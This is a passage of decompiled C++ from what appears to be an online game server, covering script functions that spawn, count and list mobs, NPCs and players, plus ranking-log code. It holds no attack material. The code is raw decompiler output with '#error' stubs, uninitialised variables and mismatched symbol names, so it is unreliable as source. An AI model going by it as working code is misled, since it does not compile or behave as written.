ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 7u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = (unsigned __int16)mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); result = 0; } return result; } //----- (004A9750) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2NPC *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #325 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-Ch] [bp-20h]@4 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 4u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = (unsigned __int16)mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); result = 0; } return result; } //----- (004A9890) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCount::sfb_Calculate(PineEventScriptNode::SysFuncShineCount *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { AxialListIteratorVtbl *v4; // edi@2 void *v5; // ecx@2 const char *v6; // eax@7 unsigned int v7; // eax@7 unsigned __int16 v8; // si@7 const char *v9; // eax@9 int v10; // esi@10 PineScriptToken *result; // eax@16 AxialListIterator *v12; // [sp-10h] [bp-244h]@6 AxialListMobCounter almc; // [sp+0h] [bp-234h]@2 FunctionEntarance _; // [sp+18h] [bp-21Ch]@1 PineScriptToken mobindex; // [sp+1Ch] [bp-218h]@1 PineScriptToken thisa; // [sp+11Ch] [bp-118h]@1 unsigned int cookie; // [sp+220h] [bp-14h]@16 int v18; // [sp+230h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v18) = 1; memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps), sizeof(thisa)); LOBYTE(v18) = 2; if ( PineScriptToken::operator__(&thisa, "player") ) { AxialListIterator::AxialListIterator(&almc.baseclass_0); v4 = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = -1; almc.almc_GuildRegNum = 0; almc.almc_Counter = 0; almc.almc_MaxCount = 99999; almc.almc_Search = AxialListMobCounter::ala_SearchPly; v5 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v18) = 3; if ( v5 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_15; } if ( PineScriptToken::operator__(&thisa, "all") ) { AxialListIterator::AxialListIterator(&almc.baseclass_0); v4 = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = -1; almc.almc_GuildRegNum = 0; almc.almc_Counter = 0; almc.almc_MaxCount = 99999; almc.almc_Search = AxialListMobCounter::ala_SearchAll; LOBYTE(v18) = 4; v12 = (AxialListIterator *)&almc; LABEL_14: Movie::Theater::t_AllInMap(*(Movie::Theater **)&ps->gap10114[4], v12); LABEL_15: v10 = almc.almc_Counter; LOBYTE(v18) = 2; almc.baseclass_0.vfptr = v4; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); goto LABEL_16; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v7 = BTree::operator__(&mobdatabox.mdb_btree, v6); v8 = -1; if ( v7 != -1 ) v8 = v7; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( !ps_assert(v8 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v9) ) { AxialListIterator::AxialListIterator(&almc.baseclass_0); v4 = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = v8; almc.almc_GuildRegNum = 0; almc.almc_Counter = 0; almc.almc_MaxCount = 99999; almc.almc_Search = AxialListMobCounter::ala_SearchAll; if ( v8 != -1 ) almc.almc_Search = AxialListMobCounter::ala_SearchMob; LOBYTE(v18) = 5; v12 = (AxialListIterator *)&almc; goto LABEL_14; } v10 = 0; LABEL_16: LOBYTE(v18) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); result = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeNumber(result, v10); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"); __security_check_cookie(cookie); return result; } // 5BDE70: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004A9B60) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate(PineEventScriptNode::SysFuncShineRestSecond *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { int v4; // ST00_4@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = Movie::TimeLimit::tl_GetTimeLimit_Second((Movie::TimeLimit *)(*(_DWORD *)&ps->gap10114[4] + 66100)); v5 = PineScriptToken::pst_Clear(buffer); v6 = PineScriptToken::pst_MergeNumber(v5, v4); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"); return v7; } //----- (004A9C20) -------------------------------------------------------- #error "4A9C20: undefined or illegal type '#325' (funcsize=115)" //----- (004A9E20) -------------------------------------------------------- #error "4A9E20: undefined or illegal type '#325' (funcsize=118)" //----- (004AA000) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate(PineEventScriptNode::SysFuncShineDeadNumber *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 const char *v5; // eax@3 unsigned int v6; // eax@3 unsigned __int16 v7; // si@3 const char *v8; // eax@5 int v9; // eax@7 int v10; // eax@8 int v11; // ST10_4@10 PineScriptToken *v12; // eax@10 PineScriptToken *result; // eax@11 PineScriptToken mobindex; // [sp+4h] [bp-110h]@1 unsigned int v15; // [sp+104h] [bp-10h]@11 int v16; // [sp+110h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v16) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate : Argument err", 0) ) { LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } else { MoveManager::MoveManager((DiceTaiSai *)&mobindex); v6 = BTree::operator__(&mobdatabox.mdb_btree, v5); v7 = -1; if ( v6 != -1 ) v7 = v6; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( ps_assert(v7 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v8) ) { LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } else { v9 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v9 ) v10 = MobDeadCount::mdc_DeadCountGet((MobDeadCount *)(v9 + 72), v7); else v10 = 0; v11 = v10; v12 = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeNumber(v12, v11); LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } } __security_check_cookie(v15); return result; } //----- (004AA1E0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate(PineEventScriptNode::SysFuncShineCircularScatter *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 unsigned __int16 v5; // ax@1 DiceTaiSaiDividind *v6; // ecx@1 PineScriptToken *v7; // eax@3 unsigned __int16 v8; // ax@3 int v9; // ebp@4 PineScriptToken *v10; // eax@4 int v11; // eax@7 int v12; // ST10_4@7 int v13; // ST08_4@7 PineScriptToken *v14; // eax@7 PineScriptToken *v15; // eax@7 PineScriptToken *v16; // eax@7 PineScriptToken *result; // eax@8 int x; // [sp+0h] [bp-12Ch]@3 SHINE_XY_TYPE loc; // [sp+4h] [bp-128h]@7 MobRegenClass::MobRegenLoc_Circular mc; // [sp+Ch] [bp-120h]@7 FunctionEntarance _; // [sp+18h] [bp-114h]@1 PineScriptToken token; // [sp+1Ch] [bp-110h]@1 unsigned int v23; // [sp+11Ch] [bp-10h]@8 int v24; // [sp+128h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v24) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); v5 = ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0); v6 = (DiceTaiSaiDividind *)&token; if ( v5 || (x = PineScriptToken::pst_GetNumber(&token, 0), v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps), v8 = ps_assert(v7 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0), v6 = (DiceTaiSaiDividind *)&token, v8) ) { LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v6); v24 = -1; } else { v9 = PineScriptToken::pst_GetNumber(&token, 0); v10 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); if ( !ps_assert(v10 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0) ) { v11 = PineScriptToken::pst_GetNumber(&token, 0); MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(&mc, x, v9, v11); LOBYTE(v24) = 2; MobRegenClass::MobRegenLoc_Circular::mrlc_Get(&mc, &loc); v12 = loc.y; v13 = loc.x; v14 = PineScriptToken::pst_Clear(buffer); v15 = PineScriptToken::pst_MergeNumber(v14, v13); v16 = PineScriptToken::pst_MergeString(v15, (char *)&stru_5A4E3C); PineScriptToken::pst_MergeNumber(v16, v12); LOBYTE(v24) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mc); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); goto LABEL_8; } LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); v24 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); LABEL_8: __security_check_cookie(v23); return result; } //----- (004AA420) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate(PineEventScriptNode::SysFuncShineRemoveFisrt *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 int v5; // eax@3 int v6; // ebp@3 PineScriptToken *v7; // eax@3 PineScriptToken *v8; // eax@4 PineScriptToken *v9; // edi@4 int v10; // esi@6 char v11; // al@8 int i; // ebp@13 char v13; // al@14 PineScriptToken *result; // eax@17 PineScriptToken token; // [sp+4h] [bp-110h]@1 unsigned int v16; // [sp+104h] [bp-10h]@17 int v17; // [sp+110h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v17) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate : Argument err", 0) ) { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } else { MoveManager::MoveManager((DiceTaiSai *)&token); v6 = *(_BYTE *)v5; v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( !ps_assert(v7 != 0, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate : Argument err", 0) && (v8 = PineScriptStack::ProcessStack::ps_FindVariable(ps, &token), (v9 = v8) != 0) ) { v10 = 0; if ( PineScriptToken::pst_GetChar(v8, 0) != v6 ) { do { if ( !PineScriptToken::pst_GetChar(v9, v10) ) break; v11 = PineScriptToken::pst_GetChar(v9, v10); PineScriptToken::pst_SetChar(buffer, v10++, (unsigned __int8)v11); } while ( PineScriptToken::pst_GetChar(v9, v10) != v6 ); } PineScriptToken::pst_SetChar(buffer, v10, 0); for ( ; PineScriptToken::pst_GetChar(v9, v10) == v6; ++v10 ) ; if ( PineScriptToken::pst_GetChar(v9, v10) ) { for ( i = 0; PineScriptToken::pst_GetChar(v9, v10); ++v10 ) { v13 = PineScriptToken::pst_GetChar(v9, v10); PineScriptToken::pst_SetChar(v9, i++, (unsigned __int8)v13); } PineScriptToken::pst_SetChar(v9, i, 0); } else { PineScriptToken::pst_Clear(v9); } LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } else { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } } __security_check_cookie(v16); return result; } //----- (004AA6A0) -------------------------------------------------------- #error "4AA6A0: undefined or illegal type '#325' (funcsize=56)" //----- (004AA790) -------------------------------------------------------- PineScriptToken *__thiscall AxialListObjectList::alol_MakeList(AxialListObjectList *this, PineScriptToken *buffer) { AxialListObjectList *v2; // ebx@1 int v3; // edi@1 int *v4; // ebp@2 int v5; // eax@3 int v6; // edx@3 char v7; // cl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListObjectList::alol_MakeList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectList::alol_MakeList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; PineScriptToken::pst_Clear(buffer); if ( v2->alol_Pointer > 0 ) { v4 = (int *)v2->alol_Array; do { MoveManager::MoveManager((DiceTaiSai *)buffer); v6 = v5 + 1; do v7 = *(_BYTE *)v5++; while ( v7 ); if ( (unsigned int)(v5 - v6) >= 0xF1 ) break; PineScriptToken::pst_MergeNumber(buffer, *(_WORD *)v4); PineScriptToken::pst_MergeString(buffer, (char *)&stru_5A4E3C); ++v3; v4 += 2; } while ( v3 < v2->alol_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectList::alol_MakeList"); return buffer; } //----- (004AA880) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate(PineEventScriptNode::SysFuncShineGetObjectList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 unsigned __int16 v5; // ax@3 const char *v6; // eax@3 unsigned int v7; // ebx@5 PineScriptToken *result; // eax@17 const char *v9; // eax@19 unsigned int k; // [sp+0h] [bp-434h]@5 void *v11; // [sp+4h] [bp-430h]@3 FunctionEntarance _; // [sp+8h] [bp-42Ch]@1 AxialListObjectList alol; // [sp+Ch] [bp-428h]@16 PineScriptToken token; // [sp+21Ch] [bp-218h]@1 PineScriptToken thisa; // [sp+31Ch] [bp-118h]@6 unsigned int cookie; // [sp+420h] [bp-14h]@17 int v17; // [sp+430h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v17) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate : Argument err", 0) ) { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); } else { v5 = PineScriptToken::pst_GetNumber(&token, 0); v11 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v5); MoveManager::MoveManager((DiceTaiSai *)&token); if ( ps_assert(v11 != 0, "Invalid Object", v6) ) { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); } else { v7 = 0; k = 1; if ( PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps) ) { do { PineScriptToken::pst_ToLower(&token); memcpy(&thisa, &token, sizeof(thisa)); LOBYTE(v17) = 2; if ( PineScriptToken::operator__(&thisa, byte_5A62A6) ) { LOBYTE(v17) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); break; } if ( PineScriptToken::operator__(&thisa, "npc") ) { v7 |= 0x10u; } else { if ( PineScriptToken::operator__(&thisa, "bandit") ) { v7 |= 0x100u; } else { if ( PineScriptToken::operator__(&thisa, "mob") ) { v7 |= 0x20u; } else { if ( !PineScriptToken::operator__(&thisa, "player") ) { MoveManager::MoveManager((DiceTaiSai *)&token); ps_assert(0, "Invalid flag", v9); LOBYTE(v17) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); v17 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_17; } v7 |= 4u; } } } LOBYTE(v17) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); ++k; } while ( PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, k, &token, ps) ); } AxialListIterator::AxialListIterator(&alol.baseclass_0); alol.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectList::_vftable_; alol.alol_Flag = v7; alol.alol_Pointer = 0; LOBYTE(v17) = 3; ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&alol, 1); AxialListObjectList::alol_MakeList(&alol, buffer); LOBYTE(v17) = 1; alol.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectList::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alol); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); } } LABEL_17: __security_check_cookie(cookie); return result; } // 5BDE78: using guessed type int (__stdcall *AxialListObjectList___vftable_)(int, int, int distancesquar); //----- (004AAC30) -------------------------------------------------------- void __thiscall AxialListKQResult::ALKQR::ALKQR(AxialListKQResult::ALKQR *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed((MemoryQueueGuildReName *)&this->scorestr); } //----- (004AAC40) -------------------------------------------------------- void __thiscall AxialListKQResult::_AxialListKQResult(AxialListKQResult *this) { AxialListMobKillLog *v1; // esi@1 v1 = (AxialListMobKillLog *)this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQResult::_vftable_; _eh_vector_destructor_iterator_( this->alkqr_Array, 0x30u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); AxialListWall::_AxialListWall(v1); } // 5BE720: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004AACA0) -------------------------------------------------------- #error "4AACA0: undefined or illegal type '#325' (funcsize=61)" //----- (004AAD80) -------------------------------------------------------- #error "4AAD80: undefined or illegal type '#325' (funcsize=83)" //----- (004AAEC0) -------------------------------------------------------- #error "4AAEC0: undefined or illegal type '#325' (funcsize=117)" //----- (004AB070) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_MakeList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_CMD *array) { AxialListKQResult *v3; // edi@1 DebugLogging *v4; // ebp@6 _iobuf *v5; // eax@8 DebugLogging *v6; // ebp@10 _iobuf *v7; // eax@12 DebugLogging *v8; // ebp@14 _iobuf *v9; // eax@16 DebugLogging *v10; // ebp@18 _iobuf *v11; // eax@20 DebugLogging *v12; // ebp@22 _iobuf *v13; // eax@24 DebugLogging *v14; // ebp@26 _iobuf *v15; // eax@29 int v16; // ecx@30 int v17; // eax@30 char *v18; // ecx@30 int v19; // edx@30 int v20; // eax@30 int v21; // eax@36 int v22; // edx@36 char v23; // cl@37 int v24; // ecx@39 char v25; // cl@42 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListKQResult::alkqr_MakeList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qsort(v3->alkqr_Array, v3->alkqr_Pointer, 0x30u, AxialListKQResult::alkqr_ScoreCompare); PineScriptToken::pst_Clear(buffer); array->num = 0; array->base = v3->alkqr_BasePoint; array->num = 0; if ( v3->alkqr_Pointer > 0 ) { do { if ( DebugLogging::dl_ActivAll ) { if ( unk_124A503C ) { DebugLogging::dl_FilePoint(&KQRankingLog); if ( unk_124A4EB8 ) fprintf(unk_124A4EB8, "%d"); } } v4 = DebugLogging::operator<<(&KQRankingLog, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)"["); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( 